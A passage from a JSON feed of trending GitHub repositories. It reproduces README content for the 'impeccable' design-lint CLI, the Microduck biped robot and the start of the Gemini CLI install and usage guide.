installed Chrome, Chromium, or Edge)\nnpx impeccable detect --json .               # CI-friendly JSON output\nnpx impeccable detect --github src/          # GitHub Actions annotations on stdout\nnpx impeccable detect --list-rules           # catalog of detector rule ids, names, and descriptions\nnpx impeccable detect --no-config src/       # raw scan, ignoring project config/context\nnpx impeccable ignores list                  # show detector ignores\nnpx impeccable ignores add-file \"src/legacy/**\"\nnpx impeccable ignores add-value overused-font Inter --reason \"Brand font\"\n</code></pre> \n<p>The detector catches 62 deterministic issues across AI slop (side-tab borders, purple gradients, bounce easing, dark glows) and general design quality (line length, cramped padding, small touch targets, skipped headings, and more).</p> \n<p>Human-readable findings are diagnostics written to stderr, so redirect them with <code>2&gt; findings.txt</code>. Use <code>--json</code> for machine-readable results on stdout, or <code>--github</code> for GitHub Actions annotations (one workflow command per finding). GitHub displays at most 10 annotations of each type per step and 50 per job, and the rest stay in the log; findings from the HTML engine may carry no line number, so they annotate the file. <code>--list-rules</code> prints the detector catalog to stdout and does not scan. Exit <code>0</code> means the scan completed without primary findings, exit <code>2</code> means it completed with primary findings, and exit <code>1</code> means at least one requested target could not be scanned; operational failure takes precedence for a partial multi-target scan. URL scans inspect the rendered DOM, computed layout, and accessible linked stylesheets; browser security still prevents reading cross-origin CSS without CORS. A clean detector run is evidence, not proof of visual or accessibility quality: it does not replace inspecting the rendered experience across relevant viewports.</p> \n<p>By default, <code>detect</code> respects the same <code>.impeccable/config.json</code> and <code>.impeccable/config.local.json</code> detector config as the design hook: <code>detector.ignoreRules</code>, <code>detector.ignoreFiles</code>, <code>detector.ignoreValues</code>, and <code>detector.designSystem.enabled</code>. Hook lifecycle settings such as <code>hook.enabled</code> only affect automatic hook execution.</p> \n<p>For a waiver that should travel with one file instead of the repo config, add an inline comment in the file: <code>&lt;!-- impeccable-disable overused-font: exported brand doc --&gt;</code>. The marker works in any comment syntax, scopes to the whole file (or one line with <code>impeccable-disable-line</code> / <code>impeccable-disable-next-line</code>), and is bypassed by <code>--no-inline-ignores</code> or <code>--no-config</code>.</p> \n<p>Full detector docs: <a href=\"https://impeccable.style/docs/detector\">impeccable.style/docs/detector</a>.</p> \n<h2>Supported Tools</h2> \n<ul> \n <li><a href=\"https://cursor.com\">Cursor</a></li> \n <li><a href=\"https://claude.ai/code\">Claude Code</a></li> \n <li><a href=\"https://github.com/features/copilot\">GitHub Copilot</a></li> \n <li><a href=\"https://github.com/deepseek-ai/deepseek-harness\">DeepSeek Harness</a></li> \n <li><a href=\"https://github.com/google-gemini/gemini-cli\">Gemini CLI</a></li> \n <li><a href=\"https://github.com/openai/codex\">Codex CLI</a></li> \n <li><a href=\"https://x.ai/cli\">Grok Build</a></li> \n <li><a href=\"https://hermes-agent.nousresearch.com\">Hermes Agent</a></li> \n <li><a href=\"https://opencode.ai\">OpenCode</a></li> \n <li><a href=\"https://pi.dev\">Pi</a></li> \n <li><a href=\"https://kiro.dev\">Kiro</a></li> \n <li><a href=\"https://trae.ai\">Trae</a></li> \n <li><a href=\"https://www.atlassian.com/software/rovo\">Rovo Dev</a></li> \n <li><a href=\"https://qoder.com\">Qoder</a></li> \n <li><a href=\"https://docs.mistral.ai/vibe/code/overview\">Mistral Vibe</a></li> \n <li><a href=\"https://github.com/oleg-koval/veto\">Veto</a></li> \n <li><a href=\"https://antigravity.google\">Google Antigravity</a></li> \n</ul> \n<h2>Community &amp; Ecosystem</h2> \n<p>Join the community and ecosystem conversations:</p> \n<ul> \n <li>GitHub Discussions: file bugs, request features, and help newcomers.</li> \n <li><a href=\"https://www.npmjs.com/package/impeccable\">Impeccable on npm</a>: grab the CLI, follow releases, and star the package.</li> \n <li>Follow @pbakaus on Twitter for release notes, sample lint reports, and video highlights of new rules.</li> \n</ul> \n<h2>Contributing</h2> \n<p>See <a href=\"https://raw.githubusercontent.com/pbakaus/impeccable/main/docs/DEVELOP.md\">DEVELOP.md</a> for contributor guidelines and build instructions.</p> \n<h2>License</h2> \n<p>Apache 2.0. See <a href=\"https://raw.githubusercontent.com/pbakaus/impeccable/main/LICENSE\">LICENSE</a>.</p> \n<hr /> \n<p>Created by <a href=\"https://www.paulbakaus.com\">Paul Bakaus</a></p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/pollen-robotics/microduck", "url": "https://github.com/pollen-robotics/microduck", "external_url": null, "title": "pollen-robotics/microduck", "content_text": "", "content_html": "<p>A Tiny biped duck robot \ud83e\udd86</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://pollen-robotics.com/microduck\">https://pollen-robotics.com/microduck</a></p><hr /><p align=\"center\"> <img alt=\"microduck\" src=\"https://github.com/user-attachments/assets/c2f7c245-8217-46a1-8d1e-e0ba967cd969\" width=\"820\" /> </p> \n<h1 align=\"center\">Microduck</h1> \n<p align=\"center\"> <em>A tiny biped robot that moves using reinforcement learning policies.</em> </p> \n<p align=\"center\"> <a href=\"https://pollen-robotics.com/microduck\"><b>Get yours here</b></a> \u00b7 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md\">Cheat sheet</a> \u00b7 <a href=\"https://github.com/pollen-robotics/microduck_rl\">Training the policies</a> \u00b7 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/design/architecture.md\">How it works</a> \u00b7 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/CONTRIBUTING.md\">Contributing</a> </p> \n<p align=\"center\"> <a href=\"https://github.com/pollen-robotics/microduck/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/pollen-robotics/microduck/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> </p> \n<hr /> \n<p><strong>This repo is the duck's brain.</strong> About 25 cm and 800 g of robot, run by a handful of daemons on a Rockchip RK3566: a 50 Hz control loop driving fifteen servos from neural policies, the radios and the camera, and the update machinery that gets new software onto a robot without bricking it.</p> \n<p>Everything you need to run a Microduck is here. <strong>If you want one, <a href=\"https://pollen-robotics.com/microduck\">get yours here</a>.</strong></p> \n<p>The policies it runs are trained next door, in <strong><a href=\"https://github.com/pollen-robotics/microduck_rl\">microduck_rl</a></strong> \u2014 MuJoCo and PPO, the sim2real recipe, and the export to ONNX that this repo loads.</p> \n<h2>It does things</h2> \n<table> \n <tbody>\n  <tr> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/356a6011-8e0d-4b28-bda9-da78646583a3\" width=\"100%\"></video> </td> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/abfbf250-1b1c-42cb-8430-00267e2b148a\" width=\"100%\"></video> </td> \n  </tr> \n  <tr> \n   <td><b>It walks.</b> Pick up a gamepad and drive.</td> \n   <td><b>It rolls.</b> Put wheels on, ask for roller mode, and it loads the other brain.</td> \n  </tr> \n  <tr> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/7e70c1da-e120-428f-ae0b-f4de62f25984\" width=\"100%\"></video> </td> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/3eef63a5-6f84-47cf-90de-e717e6d7f8f0\" width=\"100%\"></video> </td> \n  </tr> \n  <tr> \n   <td><b>It picks things up.</b> Beak to the floor, one button.</td> \n   <td><b>It gets back up.</b> Knock it over and it stands itself up.</td> \n  </tr> \n </tbody>\n</table> \n<p>It also sits, kicks a ball, rolls forward on command, and quacks in a voice that is its own.</p> \n<h2>Where to find things</h2> \n<h3>You have a duck</h3> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th></th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md\">Cheat sheet</a></td> \n   <td>Every <code>robotctl</code> command: drive, configure, voice, chorale, theremin, wifi, updates, logs. Start here.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md#gamepad-configd\">Gamepad</a></td> \n   <td>The full button mapping, and pairing a pad \u2014 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/pair-a-gamepad.md\">once per pad</a>, plus what to do when it will not bond.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/duckctl.md\"><code>duckctl</code></a></td> \n   <td>The robot from a laptop over Bluetooth, with no network and no ssh.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md#updates-updaterd\">Updates</a></td> \n   <td>Install, roll back, pin. Every update is verified, health-gated and reversible.</td> \n  </tr> \n </tbody> \n</table> \n<h3>You are building on it</h3> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th></th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://github.com/pollen-robotics/microduck_rl\">microduck_rl</a></td> \n   <td>Where the policies come from: MuJoCo, PPO, domain randomisation, and the ONNX export this repo loads.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/design/architecture.md\">How it works</a></td> \n   <td>The whole system on one page \u2014 the daemons, the bus, how an update reaches a robot \u2014 then a page per part.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/install-dev.md\">Set up a dev board</a></td> \n   <td>From a blank board to a robot that takes branch builds.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet-dev.md\">Dev cheat sheet</a></td> \n   <td>Branch builds, release candidates, driving from a laptop, and the restart traps after an update.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/dev-push.md\">Push your branch</a></td> \n   <td>Build on your machine, install over ssh, about a minute.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/simulation.md\">The simulated duck</a></td> \n   <td>No robot on the desk? <code>scripts/duck-sim</code> runs the real daemons against a body in MuJoCo \u2014 one duck in a window, or four as machines you log into.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/CONTRIBUTING.md\">CONTRIBUTING.md</a></td> \n   <td>Building, testing, layout, conventions, releasing.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/README.md\">Docs index</a></td> \n   <td>Everything, including the design pages and the open problems.</td> \n  </tr> \n </tbody> \n</table> \n<h2>Under the hood</h2> \n<p>Rust, no framework, one workspace. <code>robotd</code> owns the control loop and the motor bus; <code>updaterd</code> installs signed releases and rolls them back when a robot comes up unhealthy; <code>configd</code> owns wifi and identity; <code>btd</code> is the Bluetooth path a phone uses; <code>padd</code> reads the gamepad; <code>mediad</code> streams the camera over WebRTC; <code>tofd</code> serves the depth sensor. They talk over one JSON-RPC contract on Unix sockets, and every client \u2014 the app, the console, the gamepad, your script \u2014 sends exactly the same calls.</p> \n<p>The interesting decisions are written down: <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/design/\"><code>docs/design/</code></a> is why things are the way they are, and <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/project/\"><code>docs/project/</code></a> is what has gone wrong and what would close it.</p> \n<h2>A note on ducks</h2> \n<p>No duck was harmed in the making of this robot. Several were consulted.</p>", "summary": "<p>A Tiny biped duck robot \ud83e\udd86</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://pollen-robotics.com/microduck\">https://pollen-robotics.com/microduck</a></p><hr /><p align=\"center\"> <img alt=\"microduck\" src=\"https://github.com/user-attachments/assets/c2f7c245-8217-46a1-8d1e-e0ba967cd969\" width=\"820\" /> </p> \n<h1 align=\"center\">Microduck</h1> \n<p align=\"center\"> <em>A tiny biped robot that moves using reinforcement learning policies.</em> </p> \n<p align=\"center\"> <a href=\"https://pollen-robotics.com/microduck\"><b>Get yours here</b></a> \u00b7 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md\">Cheat sheet</a> \u00b7 <a href=\"https://github.com/pollen-robotics/microduck_rl\">Training the policies</a> \u00b7 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/design/architecture.md\">How it works</a> \u00b7 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/CONTRIBUTING.md\">Contributing</a> </p> \n<p align=\"center\"> <a href=\"https://github.com/pollen-robotics/microduck/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/pollen-robotics/microduck/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> </p> \n<hr /> \n<p><strong>This repo is the duck's brain.</strong> About 25 cm and 800 g of robot, run by a handful of daemons on a Rockchip RK3566: a 50 Hz control loop driving fifteen servos from neural policies, the radios and the camera, and the update machinery that gets new software onto a robot without bricking it.</p> \n<p>Everything you need to run a Microduck is here. <strong>If you want one, <a href=\"https://pollen-robotics.com/microduck\">get yours here</a>.</strong></p> \n<p>The policies it runs are trained next door, in <strong><a href=\"https://github.com/pollen-robotics/microduck_rl\">microduck_rl</a></strong> \u2014 MuJoCo and PPO, the sim2real recipe, and the export to ONNX that this repo loads.</p> \n<h2>It does things</h2> \n<table> \n <tbody>\n  <tr> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/356a6011-8e0d-4b28-bda9-da78646583a3\" width=\"100%\"></video> </td> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/abfbf250-1b1c-42cb-8430-00267e2b148a\" width=\"100%\"></video> </td> \n  </tr> \n  <tr> \n   <td><b>It walks.</b> Pick up a gamepad and drive.</td> \n   <td><b>It rolls.</b> Put wheels on, ask for roller mode, and it loads the other brain.</td> \n  </tr> \n  <tr> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/7e70c1da-e120-428f-ae0b-f4de62f25984\" width=\"100%\"></video> </td> \n   <td width=\"50%\"> \n    <video controls=\"controls\" src=\"https://github.com/user-attachments/assets/3eef63a5-6f84-47cf-90de-e717e6d7f8f0\" width=\"100%\"></video> </td> \n  </tr> \n  <tr> \n   <td><b>It picks things up.</b> Beak to the floor, one button.</td> \n   <td><b>It gets back up.</b> Knock it over and it stands itself up.</td> \n  </tr> \n </tbody>\n</table> \n<p>It also sits, kicks a ball, rolls forward on command, and quacks in a voice that is its own.</p> \n<h2>Where to find things</h2> \n<h3>You have a duck</h3> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th></th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md\">Cheat sheet</a></td> \n   <td>Every <code>robotctl</code> command: drive, configure, voice, chorale, theremin, wifi, updates, logs. Start here.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md#gamepad-configd\">Gamepad</a></td> \n   <td>The full button mapping, and pairing a pad \u2014 <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/pair-a-gamepad.md\">once per pad</a>, plus what to do when it will not bond.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/duckctl.md\"><code>duckctl</code></a></td> \n   <td>The robot from a laptop over Bluetooth, with no network and no ssh.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet.md#updates-updaterd\">Updates</a></td> \n   <td>Install, roll back, pin. Every update is verified, health-gated and reversible.</td> \n  </tr> \n </tbody> \n</table> \n<h3>You are building on it</h3> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th></th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://github.com/pollen-robotics/microduck_rl\">microduck_rl</a></td> \n   <td>Where the policies come from: MuJoCo, PPO, domain randomisation, and the ONNX export this repo loads.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/design/architecture.md\">How it works</a></td> \n   <td>The whole system on one page \u2014 the daemons, the bus, how an update reaches a robot \u2014 then a page per part.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/install-dev.md\">Set up a dev board</a></td> \n   <td>From a blank board to a robot that takes branch builds.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/cheatsheet-dev.md\">Dev cheat sheet</a></td> \n   <td>Branch builds, release candidates, driving from a laptop, and the restart traps after an update.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/dev-push.md\">Push your branch</a></td> \n   <td>Build on your machine, install over ssh, about a minute.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/robot/simulation.md\">The simulated duck</a></td> \n   <td>No robot on the desk? <code>scripts/duck-sim</code> runs the real daemons against a body in MuJoCo \u2014 one duck in a window, or four as machines you log into.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/CONTRIBUTING.md\">CONTRIBUTING.md</a></td> \n   <td>Building, testing, layout, conventions, releasing.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/README.md\">Docs index</a></td> \n   <td>Everything, including the design pages and the open problems.</td> \n  </tr> \n </tbody> \n</table> \n<h2>Under the hood</h2> \n<p>Rust, no framework, one workspace. <code>robotd</code> owns the control loop and the motor bus; <code>updaterd</code> installs signed releases and rolls them back when a robot comes up unhealthy; <code>configd</code> owns wifi and identity; <code>btd</code> is the Bluetooth path a phone uses; <code>padd</code> reads the gamepad; <code>mediad</code> streams the camera over WebRTC; <code>tofd</code> serves the depth sensor. They talk over one JSON-RPC contract on Unix sockets, and every client \u2014 the app, the console, the gamepad, your script \u2014 sends exactly the same calls.</p> \n<p>The interesting decisions are written down: <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/design/\"><code>docs/design/</code></a> is why things are the way they are, and <a href=\"https://raw.githubusercontent.com/pollen-robotics/microduck/main/docs/project/\"><code>docs/project/</code></a> is what has gone wrong and what would close it.</p> \n<h2>A note on ducks</h2> \n<p>No duck was harmed in the making of this robot. Several were consulted.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/google-gemini/gemini-cli", "url": "https://github.com/google-gemini/gemini-cli", "external_url": null, "title": "google-gemini/gemini-cli", "content_text": "", "content_html": "<p>An open-source AI agent that brings the power of Gemini directly into your terminal.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://geminicli.com\">https://geminicli.com</a></p><hr /><div class=\"markdown-alert markdown-alert-note\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-info mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path>\n  </svg>Note</p>\n <p></p> \n <p><strong>Unpaid tier and Google One users:</strong> Gemini CLI was replaced by Antigravity CLI on June 18th, 2026. To learn more, see our <a href=\"https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli\">blog post</a>.</p> \n <p><strong>Gemini CLI has not been optimized for Gemini 4 Argon.</strong> To use Gemini 4 Argon, please use Antigravity.</p> \n</div> \n<h1>Gemini CLI</h1> \n<p><a href=\"https://github.com/google-gemini/gemini-cli/actions/workflows/ci.yml\"><img alt=\"Gemini CLI CI\" src=\"https://github.com/google-gemini/gemini-cli/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://github.com/google-gemini/gemini-cli/actions/workflows/chained_e2e.yml\"><img alt=\"Gemini CLI E2E (Chained)\" src=\"https://github.com/google-gemini/gemini-cli/actions/workflows/chained_e2e.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://www.npmjs.com/package/@google/gemini-cli\"><img alt=\"Version\" src=\"https://img.shields.io/npm/v/@google/gemini-cli\" /></a> <a href=\"https://github.com/google-gemini/gemini-cli/raw/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/github/license/google-gemini/gemini-cli\" /></a> <a href=\"https://codewiki.google/github.com/google-gemini/gemini-cli?utm_source=badge&amp;utm_medium=github&amp;utm_campaign=github.com/google-gemini/gemini-cli\"><img alt=\"View Code Wiki\" src=\"https://assets.codewiki.google/readme-badge/static.svg?sanitize=true\" /></a></p> \n<div class=\"markdown-alert markdown-alert-note\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-info mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path>\n  </svg>Note</p>\n <p></p> \n <p>Gemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use <a href=\"https://antigravity.google/product/antigravity-cli\">Antigravity CLI</a></p> \n</div> \n<p>Gemini CLI is an open-source AI agent that brings the power of Gemini directly into your terminal. It provides lightweight access to Gemini, giving you the most direct path from your prompt to our model.</p> \n<p>Learn all about Gemini CLI in our <a href=\"https://geminicli.com/docs/\">documentation</a>.</p> \n<h2>\ud83d\udce6 Installation</h2> \n<p>See <a href=\"https://www.geminicli.com/docs/get-started/installation\">Gemini CLI installation, execution, and releases</a> for recommended system specifications and a detailed installation guide.</p> \n<h3>Quick Install</h3> \n<h4>Run instantly with npx</h4> \n<pre><code class=\"language-bash\"># Using npx (no installation required)\nnpx @google/gemini-cli\n</code></pre> \n<h4>Install globally with npm</h4> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli\n</code></pre> \n<h4>Install globally with Homebrew (macOS/Linux)</h4> \n<pre><code class=\"language-bash\">brew install gemini-cli\n</code></pre> \n<h4>Install globally with MacPorts (macOS)</h4> \n<pre><code class=\"language-bash\">sudo port install gemini-cli\n</code></pre> \n<h4>Install with Anaconda (for restricted environments)</h4> \n<pre><code class=\"language-bash\"># Create and activate a new environment\nconda create -y -n gemini_env -c conda-forge nodejs\nconda activate gemini_env\n\n# Install Gemini CLI globally via npm (inside the environment)\nnpm install -g @google/gemini-cli\n</code></pre> \n<h2>Release Channels</h2> \n<p>See <a href=\"https://www.geminicli.com/docs/changelogs\">Releases</a> for more details.</p> \n<h3>Preview</h3> \n<p>New preview releases will be published each week at UTC 23:59 on Tuesdays. These releases will not have been fully vetted and may contain regressions or other outstanding issues. Please help us test and install with <code>preview</code> tag.</p> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli@preview\n</code></pre> \n<h3>Stable</h3> \n<ul> \n <li>New stable releases will be published each week at UTC 20:00 on Tuesdays, this will be the full promotion of last week's <code>preview</code> release + any bug fixes and validations. Use <code>latest</code> tag.</li> \n</ul> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli@latest\n</code></pre> \n<h3>Nightly</h3> \n<ul> \n <li>New releases will be published each day at UTC 00:00. This will be all changes from the main branch as represented at time of release. It should be assumed there are pending validations and issues. Use <code>nightly</code> tag.</li> \n</ul> \n<pre><code class=\"language-bash\">npm install -g @google/gemini-cli@nightly\n</code></pre> \n<h2>\ud83d\udccb Key Features</h2> \n<h3>Code Understanding &amp; Generation</h3> \n<ul> \n <li>Query and edit large codebases</li> \n <li>Generate new apps from PDFs, images, or sketches using multimodal capabilities</li> \n <li>Debug issues and troubleshoot with natural language</li> \n</ul> \n<h3>Automation &amp; Integration</h3> \n<ul> \n <li>Automate operational tasks like querying pull requests or handling complex rebases</li> \n <li>Use MCP servers to connect new capabilities, including <a href=\"https://github.com/GoogleCloudPlatform/vertex-ai-creative-studio/tree/main/experiments/mcp-genmedia\">media generation with Imagen, Veo or Lyria</a></li> \n <li>Run non-interactively in scripts for workflow automation</li> \n</ul> \n<h2>\ud83d\udd10 Authentication Options</h2> \n<p>Choose the authentication method that best fits your needs:</p> \n<h3>Option 1: Sign in with Google (OAuth login using your Google Account)</h3> \n<h4>When using a paid Code Assist License from your organization, remember to set the Google Cloud Project</h4> \n<pre><code class=\"language-bash\"># Set your Google Cloud Project\nexport GOOGLE_CLOUD_PROJECT=\"YOUR_PROJECT_ID\"\ngemini\n</code></pre> \n<h3>Option 2: Gemini API Key</h3> \n<p><strong>\u2728 Best for:</strong> Developers who need specific model control or paid tier access</p> \n<p><strong>Benefits:</strong></p> \n<ul> \n <li><strong>Model selection</strong>: Choose specific Gemini models</li> \n <li><strong>Usage-based billing</strong>: Upgrade for higher limits when needed</li> \n</ul> \n<pre><code class=\"language-bash\"># Get your key from https://aistudio.google.com/apikey\nexport GEMINI_API_KEY=\"YOUR_API_KEY\"\ngemini\n</code></pre> \n<h3>Option 3: Vertex AI</h3> \n<p><strong>\u2728 Best for:</strong> Enterprise teams and production workloads</p> \n<p><strong>Benefits:</strong></p> \n<ul> \n <li><strong>Enterprise features</strong>: Advanced security and compliance</li> \n <li><strong>Scalable</strong>: Higher rate limits with billing account</li> \n <li><strong>Integration</strong>: Works with existing Google Cloud infrastructure</li> \n</ul> \n<pre><code class=\"language-bash\"># Get your key from Google Cloud Console\nexport GOOGLE_API_KEY=\"YOUR_API_KEY\"\nexport GOOGLE_GENAI_USE_VERTEXAI=true\ngemini\n</code></pre> \n<p>For Google Workspace accounts and other authentication methods, see the <a href=\"https://www.geminicli.com/docs/get-started/authentication\">authentication guide</a>.</p> \n<h2>\ud83d\ude80 Getting Started</h2> \n<div class=\"markdown-alert markdown-alert-note\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-info mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path>\n  </svg>Note</p>\n <p></p> \n <p>Gemini CLI is not optimized for the latest Gemini models. For the best coding experience with Gemini models use <a href=\"https://antigravity.google/product/antigravity-cli\">Antigravity CLI</a></p> \n</div> \n<h3>Basic Usage</h3> \n<h4>Start in current directory</h4> \n<pre><code class=\"language-bash\">gemini\n</code></pre> \n<h4>Include multiple directories</h4> \n<pre><code class=\"language-bash\">gemini --include-directories ../lib,../docs\n</code></pre> \n<h4>Use specific model</h4> \n<pre><code class=\"language-bash\">gemini -m gemini-2.5-flash\n</code></pre> \n<h4>Non-interactive mode for scripts</h4> \n<p>Get a simple text response:</p> \n<pre><code class=\"language-bash\">gemini -p \"Explain the architecture of this codebase\"\n</code></pre> \n<p>For more advanced scripting, including how to parse JSON and handle errors, use the <code>--output-format json</code> flag to get structured output:</p> \n<pre><code class=\"language-bash\">gemini -p \"Explain the architecture of this codebase\" --output-format json\n</code></pre> \n<p>For real-time event streaming (useful for monitoring long-running operations), use <code>--output-format stream-json</code> to get newline-delimited JSON events:</p> \n<pre><code class=\"language-bash\">gemini -p \"Run tests and deploy\" --output-format 